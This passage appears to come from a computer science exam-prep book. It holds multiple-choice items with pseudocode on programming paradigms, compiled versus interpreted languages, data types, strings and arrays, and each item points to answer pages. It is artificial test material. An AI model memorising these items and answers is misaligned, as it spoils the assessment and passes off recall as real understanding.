04   for (int i = 0; i < v.size[1]; i = i + 1)
05     if (v[i] >= 0)
06       out.append(v[i])
07   return out
08
09 function capped(int[] v, int cap)
10   int[] out = []
11   for (int i = 0; i < v.size[1]; i = i + 1)
12     if (v[i] > cap)
13       out.append(cap)
14     else
15       out.append(v[i])
16   return out
17
18 function largest(int[] v)
19   int best = v[0]
20   for (int i = 1; i < v.size[1]; i = i + 1)
21     if (v[i] > best)
22       best = v[i]
23   return best
24
25 int[] entries = [42, -1, 130, 87]
26 output(largest(capped(valid(entries), 100)))
```

Which statement best describes how line 26 produces its result?

A. `valid` removes the negative entry from `entries` itself, so `capped` later finds an array already cleaned.

B. The functions run in the order written on the line, so `largest` chooses the best entry before any cleaning.

C. Each function's returned array is passed straight into the next, so no step changes `entries` or stores anything.

D. The line states conditions that the answer must meet, and the computer searches `entries` for a value meeting them.

Answer: page 994

Object-oriented paradigm

0002.g.4.1

A school's heating program once kept the settings for its rooms in three parallel arrays, `names`, `currents`, and `targets`, and passed a room's position in the arrays to separate functions such as `warm(int room, int degrees)`. A student has rewritten it as shown below. In the rewritten program, creating a room, as in `Room("gym", 16, 18)`, sets the new room's attributes in the order

in which they are listed.

```
01 /* Controls the heating in three rooms of a school */
02 class Room
03   String name
04   int current
05   int target
06
07   function set_target(int t)
08     target = t
09
10   function heater_on()
11     return current < target
12
13   function warm(int degrees)
14     current = current + degrees
15
16 Room gym = Room("gym", 16, 18)
17 Room lab = Room("lab", 20, 19)
18 Room hall = Room("hall", 15, 17)
19 lab.set_target(21)
20 gym.warm(3)
21 output(gym.heater_on())
22 output(lab.heater_on())
23 output(hall.heater_on())
```

Which statement best describes how the rewrite changes the organization of the program?

A. Each room now holds its own readings together with the methods that use or change those readings.

B. The methods now return a new room with each adjusted reading, so that no stored value is ever changed.

C. The program now states only the temperature each room should reach, and the system works out the steps.

D. The methods now run by themselves whenever a sensor reports a reading, rather than when they are called.

Answer: page 994

0002.g.4.2

A student is modeling a greenhouse in which each plant's water level rises when the plant is watered and falls by 3 on each dry day. Creating a plant, as in `Plant("fern")`, sets the new plant's attributes in the order in which they are listed. After watering the fern and recording a dry day for the cactus, the student expects the fern to have a level of 15 and the cactus a level of 7. The program instead reports a level of 12, which belongs to neither plant.

```
01 /* Tracks the water level of each plant in a greenhouse */
02 int level = 10
03
04 class Plant
05   String name
06
07   function water(int amount)
08     level = level + amount
09
10   function dry_day()
11     level = level - 3
12
13 Plant fern = Plant("fern")
14 Plant cactus = Plant("cactus")
15 fern.water(5)
16 cactus.dry_day()
17 output(level)
```

The greenhouse will soon hold dozens of plants, so the correction must not require new variables or methods each time a plant is added. Which change best meets the student's goal?

A. moving `int level = 10` into each of the two methods, so that each method works with a level that belongs to it alone

B. declaring `int level` inside `Plant`, beside `name`, and creating each plant with its own starting level, as in `Plant("fern", 10)`

C. calling the methods on the class, as in `Plant.water(5)`, so that the class itself records every change made to any plant

D. replacing `level` with one variable per plant, such as `fern_level`, and writing a pair of methods for each of those variables

Answer: page 994

0002.g.4.3

A farm models its water tanks with the class `Tank` below. Creating a tank, as in `Tank("north", 40)`, sets the new tank's label and its level in liters, in that order. Within a method, an attribute's name refers to the value held by the tank on which the method was called, and `other.fill(amount)` calls `fill` on the tank passed in as `other`. A farm worker records a morning's transfers between the tanks.

```
01 /* Models the water tanks on a farm, each with its own level in liters */
02 class Tank
03   String label
04   int level
05
06   function fill(int amount)
```

```
07     level = level + amount
08
09   function pour_into(Tank other, int amount)
10     level = level - amount
11     other.fill(amount)
12
13 Tank north = Tank("north", 40)
14 Tank south = Tank("south", 10)
15 Tank east = Tank("east", 25)
16 north.pour_into(south, 15)
17 south.pour_into(east, 5)
18 east.fill(10)
19 north.pour_into(east, 20)
20 output(north.level)
21 output(south.level)
22 output(east.level)
```

Which output would the program produce?

A.

```
>>> 75
>>> 0
>>> 10
```

B.

```
>>> 5
>>> 5
>>> 35
```

C.

```
>>> 40
>>> 10
>>> 35
```

D.

```
>>> 5
>>> 20
>>> 60
```

Answer: page 994

0002.g.4.4

A school district is designing software to manage its bus fleet. Every bus has a route number, a number of seats, a count of riders on board, and a current location. The designers require that boarding a rider and moving to the next stop be written once, yet always act on one particular bus, and that each bus keep its own count and location even while all of the buses are running their routes. Which design best meets these requirements?

A. a table of every bus's details, with queries that describe which buses should be full or empty at each hour

B. one shared rider count and one shared location for the entire fleet, which the boarding and moving procedures both update

C. a `Bus` class with these attributes and with methods such as `board()` and `next_stop()`, and one `Bus` for each vehicle

D. separate boarding and moving procedures for each route, each named with the number of the route that it serves

Answer: page 994

0002.g.4.5

A team designs a library's lending system in a style that models the library as a set of interacting objects. The system must track members, books, and loans. Each member can borrow several books, and the rules allow at most five books on loan to any member. Which element of the system is best represented as a single object in this design?

A. the rule that no member may have more than five books on loan, checked before each new loan is recorded

B. the procedure that records a loan, which is called with a member and a book whenever anyone at the library borrows

C. one particular member, such as card holder 2041, with that member's name, loans, and ways to borrow or return

D. the list of every member's name, which is kept apart from the list of books and the list of loans

Answer: page 994

Declarative paradigm

0002.g.5.1

A school's records program must list the names of all students in grade 10. A student writes the pseudocode below, which displays the names in the order in which the records are stored. The teacher then shows a query in Structured Query Language (SQL) that a database system runs to obtain the same names from a table, `Students`, whose columns are `name` and `grade`.

```
01 /* Lists the names of the students in grade 10 */
02 String[] names = ["Ari", "Bea", "Cy", "Dee", "Eli"]
03 int[] grades = [10, 11, 10, 9, 10]
04 for (int i = 0; i < names.size[1]; i = i + 1)
05   if (grades[i] == 10)
06     output(names[i])
```

```
SELECT name FROM Students WHERE grade = 10
```

Which statement best describes the difference between what the two programmers had to write?

A. The query names the data wanted and the condition it meets, while the loop also states how to find it.

B. The query calls a method named `SELECT` on the object `Students`, while the loop works with plain arrays.

C. The query abbreviates the same steps, and the database expands it into a loop like the pseudocode one.

D. The query is certain to run faster than the loop for any number of students, so it needs no steps.

Answer: page 994

0002.g.5.2

A student building a club's web page writes the HyperText Markup Language (HTML) below. A classmate looks through the code for the instructions that say how far to indent the list, where to draw each bullet, and how to wrap a long sentence when the window is narrowed, and is surprised to find none. The page nonetheless displays correctly in every browser the two students try, at every window width.

```
<h1>Robotics Club</h1>
<p>Meetings are held on Tuesdays after school in Room 114.</p>
<ul>
  <li>Build a line-following robot</li>
  <li>Enter the regional competition in March</li>
</ul>
```

Which statement best explains why the page displays correctly without those instructions?

A. The drawing steps were saved in a hidden file when the page was created, and the browser then follows that file.

B. The markup states what the page contains and how its parts relate, and each browser decides how to draw them.

C. The browser runs drawing handlers registered by the list tags, but only when the reader resizes or scrolls.

D. Each tag is a command carried out from top to bottom, and the order of the tags sets the drawing steps.

Answer: page 994

0002.g.5.3

A school district's database administrator adds an index to a large table. An index is a structure that lets the database locate rows by the value in one column without reading every row of the table. Afterward, hundreds of existing SQL queries in the district's applications return the same results as before, noticeably faster, although no one has edited any of them. Which statement best explains why no query needed to be changed?

A. An index makes the server's processor faster, so programs written in any style would speed up equally.

B. Each query already held steps for using an index, which were skipped until an index existed to use.

C. The database rewrote the text of each stored query when the index was added, so each one was in fact edited.

D. Each query states which rows are wanted, not how to find them, so the database may choose a faster method.

Answer: page 994

0002.g.5.4

A student writes the SQL query below to find short, recent books in a library's catalog table, `Books`. Having learned that `AND` and `OR` on the exam's reference sheet are evaluated strictly from left to right, the student concludes that the database must first find every book published after 2015 and only then check the page count of each of those books.

```
SELECT title
FROM Books
WHERE year > 2015 AND pages < 200
```

Which statement best evaluates the student's conclusion?

A. It is unfounded, since a database always checks conditions from right to left, so the page counts are tested first.

B. It is correct, since writing the condition on page count first would return a different set of titles.

C. It is unfounded, since the query says only which rows to return, and the database may check the conditions in any order.

D. It is correct, since each condition in a query is a step that is carried out in the order written, as in a pseudocode program.

Answer: page 994

0002.g.5.5

A student's web project for a bookstore has three parts: a style sheet rule stating that every heading is centered and dark blue, a script with a loop that adds up the prices in a shopping cart, and a script that stores each item in the cart's array as the shopper adds it. A reviewer asks which part leaves it to the system to decide how its result is produced. Which part is that?

A. the loop that adds up the prices, which takes the contents of the whole cart and produces a single total from them

B. none of the three, since every part is carried out in the end as a sequence of steps by the computer's processor

C. the script that stores each item, which does nothing at all until the shopper chooses to add an item to the cart

D. the style sheet rule, which states how every heading should look and leaves the browser to work out how to draw it

Answer: page 994

Logic paradigm

0002.g.6.1

A high school's course advising tool is written in Prolog. Each line ending in a period states a fact or a rule. In a rule, `:-` is read "is true if" and a comma is read "and", and names beginning with a capital letter, such as `S`, `C`, and `P`, are variables that may stand for any value. A counselor poses the query `eligible(maya, calculus)` to the program below.

```
prereq(algebra, precalculus).
prereq(precalculus, calculus).
passed(maya, algebra).
passed(maya, precalculus).
passed(leo, algebra).
eligible(S, C) :- prereq(P, C), passed(S, P).
```

Which statement best describes the answer the system gives and how it reaches that answer?

A. The query holds, since precalculus is listed both as a prerequisite of calculus and as passed by Maya.

B. The query does not hold, since no line states `eligible(maya, calculus)` as a fact for the system to report.

C. The system runs the lines in order, storing each fact in a variable, and the last line sets `eligible` to true.

D. The query holds, since Maya has passed some course, and the rule requires only that a student has passed one.

Answer: page 994

0002.g.6.2

A school's room booking system is written in Prolog, in which each line ending in a period is a fact or a rule, `:-` is read "is true if", a comma is read "and", and capitalized names such as `P` are variables. The robotics club has just elected Raj as one of its officers. Even so, the query `can_book(raj, robotics)` still reports that it does not hold. The office manager wants this query, and any later query that depends on Raj's new role, to reflect the election.

```
member(ana, chess).
member(raj, chess).
member(raj, robotics).
officer(ana, chess).
can_book(P, Club) :- officer(P, Club), member(P, Club).
```

Which change to the program best accomplishes this?

A. adding a loop that goes through the club's members and makes each one an officer after an election

B. moving the line that defines `can_book` to the top, so that the system reads the rule before the facts

C. adding the line `officer(raj, robotics).`, which states Raj's new role in the robotics club as a fact

D. adding a line that sets `P = raj` above the rule, so that the rule knows which person it should check

Answer: page 995

0002.g.6.3

A city's transit app is written in Prolog. Each line ending in a period is a fact or a rule, `:-` is read "is true if", a comma is read "and", and capitalized names are variables. The facts state which stations have a direct train from the first named station to the second. The two rules state that a route exists from one station to another if there is a direct train, or if there is a direct train to some station from which a route exists.

```
direct(elm, oak).
direct(oak, pine).
direct(pine, birch).
direct(maple, elm).
route(X, Y) :- direct(X, Y).
route(X, Y) :- direct(X, Z), route(Z, Y).
```

A rider poses the query `route(elm, Where)`, and the system reports every value of `Where` for which the query holds. Which values does it report?

A. `oak`, `pine`, `birch`, and `maple`

B. `oak`, `pine`, and `birch`

C. no values, since no fact begins with `route`

D. `oak` alone

Answer: page 995

0002.g.6.4

An art museum wants a kiosk that answers visitors' questions such as "Which painters did Cézanne influence, directly or through other painters?" The curators have documented thousands of cases of one painter directly influencing another. They want to add new cases often, and they want new kinds of question to need no new search steps to be written. Which design best meets these requirements?

A. an object for each painting, whose methods show its label and photograph whenever a visitor touches it

B. a separate procedure for each kind of question, with loops that search arrays of painters for the answers

C. each case stated as a fact, one rule that influence passes along chains, and each question posed as a query

D. a function that, given a painter, returns the painters whom the curators typed in as influenced by that painter

Answer: page 995

0002.g.6.5

A student reads a Prolog program made up entirely of facts, such as `parent(ana, ben).`, and rules, such as `grandparent(X, Z) :- parent(X, Y), parent(Y, Z).` The student remarks that the program "does nothing," since it contains no statement that displays a value or changes one. Which response best evaluates the student's remark?

A. It is correct, since such a program can only confirm the facts it states and cannot reach conclusions of its own.

B. It is mistaken, since the facts and rules are used whenever a query is posed, and the system infers answers from them.

C. It is mistaken, since the facts are variables that the system reassigns as it runs the rules from top to bottom.

D. It is correct, since a program must contain statements that change stored values in order, or else it produces nothing.

Answer: page 995

Event-driven programming

0002.g.7.1

A student is writing a web page with a button that greets the visitor and counts the visitor's clicks. In the student's environment, the statement `on(b, "click", f)` registers the function `f` to run each time the button `b` is clicked. When the page loads, the greeting appears once, reporting one click, before anyone has touched the button, and clicking the button afterward has no effect.

```
01 /* Greets the visitor each time the button is clicked */
02 Button hello = Button("Say hello")
03 int clicks = 0
04
05 function greet()
06   clicks = clicks + 1
07   output(concat("Hello! Clicks so far: ", clicks))
08
09 on(hello, "click", greet())
```

Which replacement for line 09 makes the page greet the visitor on every click, and only then?

A.

```
function on_click()
  greet()
```

B.

```
on(hello, "click", greet)
```

C.

```
if (hello == "click")
  greet()
```

D.

```
while (TRUE)
  greet()
```

Answer: page 995

0002.g.7.2

A coin-collecting game keeps a score and a best score. In the game's environment, `on(g, "coin", f)` registers the function `f` to run each time the player collects a coin in the game `g`, and `on(g, "reset", f)` registers `f` to run each time the player presses the reset button. Two testers each collect four coins and press reset once. Tester A collects three coins, presses reset, and collects one more coin. Tester B collects one coin, presses reset, and collects three more coins.

```
01 /* Keeps the score and best score in a coin-collecting game */
02 Game game = Game()
03 int score = 0
04 int best = 0
05
06 function on_coin()
07   score = score + 10
08
09 function on_reset()
10   if (score > best)
11     best = score
12   score = 0
13
14 on(game, "coin", on_coin)
15 on(game, "reset", on_reset)
```

At the end of each tester's session, what are the values of `score` and `best`?

A. For both, `score` is 0 and `best` is 40, since the handlers run after all of the player's actions are complete.

B. For both, `score` is 10 and `best` is 30, since the handlers run in the order in which they are registered.

C. For tester A, `score` is 10 and `best` is 30; for tester B, `score` is 30 and `best` is 30.

D. For tester A, `score` is 10 and `best` is 30; for tester B, `score` is 30 and `best` is 10.

Answer: page 995

0002.g.7.3

A middle school student builds a game in a block-based environment. Below, the student's scripts are typed out line by line, and a block typed with extra indentation under another block sits inside it. Each script begins with a "when" block. Reviewing the program, a classmate predicts that the game will end as soon as the sprite says "Ready", since no block is attached below that one in the first script.

```
when green flag clicked
  set lives to 3
  say "Ready"
when space key pressed
  change y by 40
  wait 1 second
  change y by -40
when touching spike
  change lives by -1
  if lives = 0
    stop all
```

Which statement best describes how the game actually behaves after the green flag is clicked?

A. The three scripts run once each, in order, so the sprite jumps once and loses one life, and the game ends.

B. After the first script ends, the game keeps waiting, and each other script runs whenever its event occurs.

C. Only the first script runs, since a script that does not begin with the green flag is never connected to the game.

D. The first script repeats endlessly, since a program made of scripts returns to its first block after its last.

Answer: page 995

0002.g.7.4

A school is designing software for an attendance kiosk at its front entrance. The kiosk must respond to badge scans from students, to button presses from the staff member on duty, and to messages sent over the network from the main office. Any of these may arrive at any moment, and in any order. Which organization of the kiosk's program best suits these requirements?

A. a set of facts and rules about attendance, from which the system infers who is present when queried

B. a single query, run at the end of each day, that describes the attendance records the office wants

C. a fixed sequence of `input()` calls that waits for a badge, a button press, and a message, then repeats

D. a separate handler for each kind of input, which the system runs whenever that kind of input arrives

Answer: page 995

0002.g.7.5

A teacher compares two versions of a quiz program. In the first version, the program displays each question in turn and waits at an `input()` statement until the student types an answer. In the second version, a window shows all of the questions at once, each with answer buttons that the student may click in any order, along with a button that submits the quiz. Which statement best describes how the flow of control differs between the two versions?

A. The two share a flow of control, since in both every statement runs once, in order, from top to bottom.

B. In the second, the code that runs next depends on the student's clicks; in the first, on the order of statements.

C. In the second, all of the questions are answered at once, since every button's handler runs in parallel.

D. In the first, the program cannot respond to the student, since only a program with buttons accepts input.

Answer: page 995

Compiled and interpreted languages

0002.g.8.1

A school's weather station runs the program below every morning, reading the outdoor temperature in degrees Fahrenheit. The program is written in a language whose implementation is an interpreter. It ran correctly every morning from September through December. On the first January morning with a reading of −4, it displayed the warning and then stopped with an error at line 07, where `output` is misspelled.

```
01 /* Reports the morning reading from the school's weather station */
02 int reading = input()
03 if (reading >= 0)
04   output(concat("Reading: ", reading))
05 else
06   output("Warning: below zero")
07   ouptut(reading)
```

Which statement best explains why the misspelling was not reported in September?

A. The program is imperative, and imperative programs report errors only in the branch taken when a condition is false.

B. An interpreter runs each statement only when execution reaches it, and no earlier reading had led to that statement.

C. The value −4 is too large for an `int`, and the interpreter reports this in the first statement that displays it.

D. A program that ran correctly for months cannot have had the error from the start, so it was added in January.

Answer: page 995

0002.g.8.2

A student writing a report on programming languages sorts them under the headings "object-oriented paradigm," "functional paradigm," and "interpreted paradigm," and places Python under the last heading. Which comment from the teacher best corrects the classification?

A. Python belongs under an "imperative paradigm" heading, since "interpreted" and "imperative" name one and the same idea.

B. Python belongs under a “compiled paradigm” heading, since each Python program must become an executable before it runs.

C. Interpretation is how an implementation runs programs, not a style of programming, and Python supports several paradigms.

D. The heading is sound, since a language’s paradigm is settled by whether it is translated before it runs or while it runs.

Answer: page 995

0002.g.8.3

A game studio is building a game for one model of handheld console. The game must run as fast as the console’s processor allows, and players should receive a ready-to-run program rather than the game’s source code together with a separate program that runs it. Which choice of language implementation, with its reason, best fits these requirements?

A. a functional language, since the paradigm, rather than the implementation, decides how fast the game will run

B. a compiler, since compiled programs cannot stop with errors while running, so the game needs no further testing

C. an interpreter, since a program executed by another program as it runs is always faster than one translated beforehand

D. a compiler, since it translates the game to machine code for that processor before release, allowing optimization

Answer: page 995

0002.g.8.4

A teacher wants students in an introductory course to type a single statement, such as `output(7 * 6)`, and see its result at once, then type the next statement and see that result, building up a program one line at a time. Which kind of language implementation best supports this way of working, and why?

A. a compiler, since it turns each statement into machine code and runs it while the student is still in the middle of typing it

B. an object-oriented language, since only objects can respond to a statement as soon as it has been typed in

C. an interpreter, since it executes each statement as it is entered, with no prior translation of a whole program

D. a compiler, since it checks every statement before running any of them, so that each result appears at once

Answer: page 996

0002.g.8.5

A programming language has two widely used implementations. One translates a program to machine code before the program runs; the other executes the program directly, statement by statement, as it runs. Both give the same results for the same correct program. A student insists that the language itself must be either compiled or interpreted, and that one of the implementations must therefore be misusing it. Which response best evaluates the student's claim?

A. It is mistaken, since being compiled or interpreted is a property of an implementation, and a language may have both.

B. It is mistaken, since the second implementation makes the language event-driven, responding to each statement as it arrives.

C. It is correct, since a program must give different results when compiled and when interpreted, as the two are unrelated.

D. It is correct, since a language's grammar fixes whether it is translated before it runs, so only one implementation is faithful.

Answer: page 996

0002.h Data types and data structures

Read about this in the content summary: 0002.h, page 68.

Primitive data types

0002.h.1.1

A mathematics teacher asks a computer science student to report a class's mean quiz score in two forms: a whole number for a printed summary and a value with its decimal part for a spreadsheet. The student, who learned to program in Python, keeps the scores in two arrays and writes the program below. Under the conventions of the reference sheet, which output would the program produce?

```
01 /* Report the mean quiz score in two forms. */
02 int[] quizzes = [88, 92, 75, 81, 90]
03 float[] exact = [88.0, 92.0, 75.0, 81.0, 90.0]
04 int count = quizzes.size[1]
05 int whole_total = 0
06 float exact_total = 0.0
07
08 for (int i = 0; i < count; i = i + 1)
09   whole_total = whole_total + quizzes[i]
10   exact_total = exact_total + exact[i]
```

```
11
12 int whole_mean = whole_total / count
13 float exact_mean = exact_total / 5.0
14
15 output(whole_mean)
16 output(exact_mean)
```

A.

```
>>> 85.2
>>> 85.2
```

B.

```
>>> 85
>>> 85
```

C.

```
>>> 86
>>> 85.2
```

D.

```
>>> 85
>>> 85.2
```

Answer: page 996

0002.h.1.2

A teacher reviews the opening declarations of a ticket-sales program written by a student who is moving from Python to the language of the reference sheet. The student asks which single declaration must be corrected, and why, before these lines are consistent with the sheet's rules for writing values of each basic type.

```
01 bool is_open = True
02 bool is_full = FALSE
03 char section = "B"
04 float fee = 12.50
05 int seats = 30
```

The teacher's most accurate answer would identify:

A. the declaration of `is_full`, because the sheet writes Boolean values with only their first letter capitalized.

B. the declaration of `section`, because a single character must be enclosed in single rather than double quotation marks.

C. the declaration of `is_open`, because a value of its type is written only in full capitals on the sheet.

D. the declaration of `fee`, because the sheet expects an amount of money to be stored as a whole number of cents.

Answer: page 996

0002.h.1.3

A student who has watched Python print `0.30000000000000004` for a simple sum becomes wary of decimal arithmetic. While preparing for an examination that uses the reference sheet, the student writes the short program below and tries to predict its result by hand, applying what the sheet says about decimal values rather than what a Python interpreter would do.

```
01 float total = 0.0
02 for (int i = 0; i < 10; i = i + 1)
03   total = total + 0.1
04 output(total == 1.0)
```

Which prediction is correct under the reference sheet?

A. The output is `>>> FALSE`, because repeatedly adding `0.1` accumulates a small error that makes the sum differ from `1.0`.

B. The output is `>>> 1.0`, because a comparison between two `float` values produces the value of its left operand.

C. The output is `>>> TRUE`, because the sheet treats each decimal value as having implied infinite precision.

D. The output is `>>> ERROR`, because the sheet permits equality comparison between values of the `int` and `String` types only.

Answer: page 996

0002.h.1.4

A school's weather station logs four facts with each reading: whether rain was detected, how many times the rain gauge has tipped, the air temperature to one decimal place, and a one-letter code showing the quality of the reading. A student is asked to write one set of declarations for a sample reading in which rain was detected, the gauge tipped 12 times, the temperature was 18.5 degrees, and the quality code was Q. Which set follows the conventions of the reference sheet?

A. `bool rain = True`, `int tips = 12.0`, `int temp = 18.5`, `char flag = 'Q'`

B. `int rain = 1`, `float tips = 12`, `float temp = 18`, `char flag = "Quality"`

C. `bool rain = TRUE`, `int tips = 12`, `float temp = 18.5`, `char flag = "Q"`

D. `bool rain = "TRUE"`, `int tips = 12`, `String temp = "18.5"`, `String flag = 'Q'`

Answer: page 996

0002.h.1.5

A teacher writes the program below to divide 23 students among 4 project teams of equal planned size and to count the chairs that those teams would need. A colleague who works mostly in Python predicts a team size of `5.75`, while another predicts `5` because that language also offers division that discards the remainder. Which output would the program produce under the reference sheet?

```
01 int students = 23
02 int teams = 4
03 int per_team = students / teams
04 int chairs = per_team * teams
05 output(per_team)
06 output(chairs)
```

A.

```
>>> 6
>>> 24
```

B.

```
>>> 5.75
>>> 23.0
```

C.

```
>>> 5
>>> 20
```

D.

```
>>> 6
>>> 23
```

Answer: page 996

Static typing and declarations

0002.h.2.1

A student who is moving from Python drafts a program for a school snack bar. It tracks the items remaining after each of three selling periods, along with the money collected. When the teacher reviews the draft against the reference sheet, exactly one of the statements breaks the rule for how a variable receives a new value after it has first been created. Which statement is at fault?

```
01 /* Track a snack bar's stock across three selling periods. */
02 int[] sold = [6, 4, 9]
03 float[] amounts = [7.5, 5.0, 11.25]
04 int stock = 40
05 float revenue = 0.0
06 String label = "Morning"
07
```

```
08 stock = stock - sold[0]
09 revenue = revenue + amounts[0]
10 int stock = stock - sold[1]
11 revenue = revenue + amounts[1]
12 label = "Afternoon"
13 stock = stock - sold[2]
14 revenue = revenue + amounts[2]
15 output(label)
16 output(stock)
```

A. `label = "Afternoon"`, which gives a variable text different from the text with which it was first declared

B. `revenue = revenue + amounts[0]`, which adds an element of an array to a variable that is not an array

C. `int stock = stock - sold[1]`, which states the type of a variable that has already been declared

D. `stock = stock - sold[0]`, which needs a declared type because the value on its right side has changed

Answer: page 996

0002.h.2.2

A student's library program stores an overdue fine as a decimal amount. The student, whose earlier programs were in Python, decides that a book returned on time should show the word `none` instead of an amount, and writes the program below. A book returned on time has been entered, so `days_late` is `0`. Which statement best describes what should happen when this program is run in the language of the reference sheet?

```
01 float fine = 0.75
02 int days_late = 0
03 if (days_late == 0)
04   fine = "none"
05 output(fine)
```

A. An error should occur, because `fine` was declared to hold only values of the type `float`.

B. The value `0.0` should be displayed, because a `String` is converted to the `float` value that is nearest to it.

C. The text `"none"` should be displayed, because a variable takes on the type of the latest value assigned to it.

D. The value `0.75` should be displayed, because an assignment of the wrong type is skipped without any message.

Answer: page 996

0002.h.2.3

A teacher's gradebook program includes the function below, which adds bonus points to every score on an examination and returns the updated array. The teacher has several variables available in the program and wants the first score to become 73. The type signature in the function's header is the only guide needed for writing the call. Which statement, executed on line 10, calls the function correctly and produces the intended result?

```
01 function add_bonus(int[] scores, int bonus)
02   for (int i = 0; i < scores.size[1]; i = i + 1)
03     scores[i] = scores[i] + bonus
04   return scores
05
06 int[] exam = [70, 85, 64]
07 int points = 3
08 float curve = 2.5
09 String section = "A"
10 /* missing statement */
11 output(exam[0])
```

A. `exam = add_bonus(exam[0], section)`

B. `exam = add_bonus(exam, points)`

C. `exam = add_bonus(points, exam)`

D. `exam = add_bonus(exam, curve)`

Answer: page 996

0002.h.2.4

A walking club records three days of steps, in thousands, for each of three members. The program below should output a running total for the whole group after each member is processed, so the intended output is 15, then 32, then 45. Instead, the program outputs 15, then 17, then 13. Which revision makes the program produce the intended output while following the rules of the reference sheet?

```
01 /* Report the group's running step total after each walker. */
02 int[][] steps = [[4, 6, 5],
03   [7, 2, 8],
04   [3, 9, 1]]
05 int walkers = steps.size[0]
06 int days = steps.size[1]
07
08 for (int w = 0; w < walkers; w = w + 1)
09   int group_total = 0
10   for (int d = 0; d < days; d = d + 1)
11     group_total = group_total + steps[w, d]
12   output(group_total)
```

A. declaring `group_total` with its first value once, above the outer loop, and removing that statement from the loop's body

B. changing the condition of the inner loop to `d <= days`, so that the final day of each walker is included in the running total

C. changing the type of `group_total` to `float`, so that the variable can retain a larger running value from one pass to the next

D. removing only the word `int` from the statement that sets `group_total` to `0`, so that the variable is no longer declared again

Answer: page 996

0002.h.2.5

In Python, a name comes into existence the first time that a value is assigned to it, and the assignment needs no statement of type. A student who is used to this habit writes the four statements below for a program in the language of the reference sheet and then asks a classmate to check them against the sheet's rule for declaring variables. Which statement best describes the result of that check?

```
01 int count = 4
02 rate = 1.5
03 count = 7
04 float rate = 2.0
```

A. `count` follows the rule, whereas `rate` needs its type at its first assignment and not at a later one.

B. Neither variable follows the rule, because a program must declare all its variables without values first.

C. Both variables follow the rule, because each of them is declared with a type somewhere in the program.

D. `rate` follows the rule, whereas `count` needs its type repeated each time that it is given a new value.

Answer: page 996

Strings

0002.h.3.1

A student club allows members to propose a password for a shared account. The program below checks three rules and builds a short code naming the problems found: `S` means that the password is too short, `H` means that it has no `#` character, and `E` means that its first and last characters are the same. Which output would the program produce for the three proposed passwords?

```
01 /* Report which rules each proposed password breaks. */
02 function has_char(String text, String target)
03   for (int i = 0; i < text.len; i = i + 1)
04     if (text.sub(i, i) == target)
05       return TRUE
06   return FALSE
07
08 function check(String pw)
09   String problems = ""
10   if (pw.len < 8)
11     problems = concat(problems, "S")
12   if (NOT(has_char(pw, "#")))
13     problems = concat(problems, "H")
14   if (pw.sub(0, 0) == pw.sub(pw.len - 1, pw.len - 1))
15     problems = concat(problems, "E")
16   return problems
17
18 String[] tries = ["robots#r", "chess", "k#ite#k9"]
19 for (int t = 0; t < tries.size[1]; t = t + 1)
20   output(check(tries[t]))
```

A.

```
>>> "E"
>>> "SH"
>>> ""
```

B.

```
>>> "HE"
>>> "SHE"
>>> "HE"
```

C.

```
>>> ""
>>> "SH"
>>> "E"
```

D.

```
>>> "S"
>>> "SH"
>>> "SE"
```

Answer: page 996

0002.h.3.2

A word game shows each answer backward as a clue. A student's first version, shown below, should display `"desserts"` for the word `"stressed"`, but it displays `"dessert"`, with the final letter of the

clue missing. All the other statements have been checked and are correct. Which header, placed on line 04, makes the program display the whole clue?

```
01 /* Build a clue by reading a word from its last character to its first. */
02 String word = "stressed"
03 String clue = ""
04 for (int i = word.len - 1; i > 0; i = i - 1)
05   clue = concat(clue, word.sub(i, i))
06 output(clue)
```

A. `for (int i = word.len - 2; i >= 0; i = i - 1)`

B. `for (int i = 0; i < word.len; i = i + 1)`

C. `for (int i = word.len - 1; i >= 0; i = i - 1)`

D. `for (int i = word.len - 1; i > 1; i = i - 1)`

Answer: page 996

0002.h.3.3

A school's office prints name badges in the form `Lovelace, Ada`, with the surname first. The student who is writing the badge program already has each part of a person's name in its own variable and needs one statement that builds the complete text from those variables, so that the same program will work when the names change. Which statement, executed on line 03, does this under the reference sheet?

```
01 String first = "Ada"
02 String last = "Lovelace"
03 /* missing statement */
04 output(badge)
```

A. `String badge = concat("last", ", ", "first")`

B. `String badge = concat(last, ", ", first)`

C. `String badge = last + ", " + first`

D. `String badge = "last, first"`

Answer: page 997

0002.h.3.4

A college stores room codes such as `BIO-4417-B`, in which the first three characters name a department, the next four digits name a room, and the final character names a wing. For a new door sign, a staff member writes the program below, which rearranges the parts of a code so that the wing comes first. Which output would the program produce?

```
01 String code = "BIO-4417-B"
02 String dept = code.sub(0, 2)
```

```
03 String room = code.sub(4, 7)
04 String wing = code.sub(9, 9)
05 output(concat(wing, room, dept))
```

A. `>>> "441BI"`

B. `>>> "B4417-BBI"`

C. `>>> "--441BI"`

D. `>>> "B4417BI0"`

Answer: page 997

0002.h.3.5

A web page for a school's course catalog has room for only a limited number of characters of each title. A student writes the function below so that a long title is cut to exactly `limit` characters and followed by three dots, while a short title appears in full. A classmate who knows Python asks why the stop value is written as `limit - 1` rather than as `limit`. Which explanation is correct?

```
01 function shorten(String text, int limit)
02   if (text.len <= limit)
03     return text
04   return concat(text.sub(0, limit - 1), "...")
05
06 String long_title = "Algorithms and Data"
07 String short_title = "Graphs"
08 output(shorten(long_title, 10))
09 output(shorten(short_title, 10))
```

A. The `concat` function always adds one extra character between its arguments, so one character is removed first.

B. The stop index is excluded from the result, so stopping at `limit - 1` leaves room for the three added dots.

C. The `.len` attribute counts from zero, so the value of `limit` must be reduced by one to match that count.

D. The stop index is included in the result, so stopping at `limit - 1` keeps exactly `limit` characters.

Answer: page 997

One-dimensional arrays

0002.h.4.1

A physical education teacher records the runners in a race in the order in which they crossed the finish line, together with each runner's time in seconds. A student writes the program below to

announce the three medal winners and then the runner who finished last, with that runner's time. The program must keep working when a later race has a different number of runners, so the student does not want to write the final position as a fixed number. Which statement, executed on line 09, completes the program as intended?

```
01 /* Announce the medal winners and the final finisher of a race. */
02 String[] runners = ["Ama", "Bo", "Cai", "Dev", "Eun"]
03 float[] times = [61.2, 63.8, 64.1, 70.5, 72.9]
04 int medals = 3
05
06 for (int place = 0; place < medals; place = place + 1)
07   output(runners[place])
08
09 /* missing statement */
10 output(runners[last])
11 output(times[last])
```

A. `int last = runners.size[1]`

B. `int last = runners.size[1] - 1`

C. `int last = runners.size[0] - 1`

D. `int last = -1`

Answer: page 997

0002.h.4.2

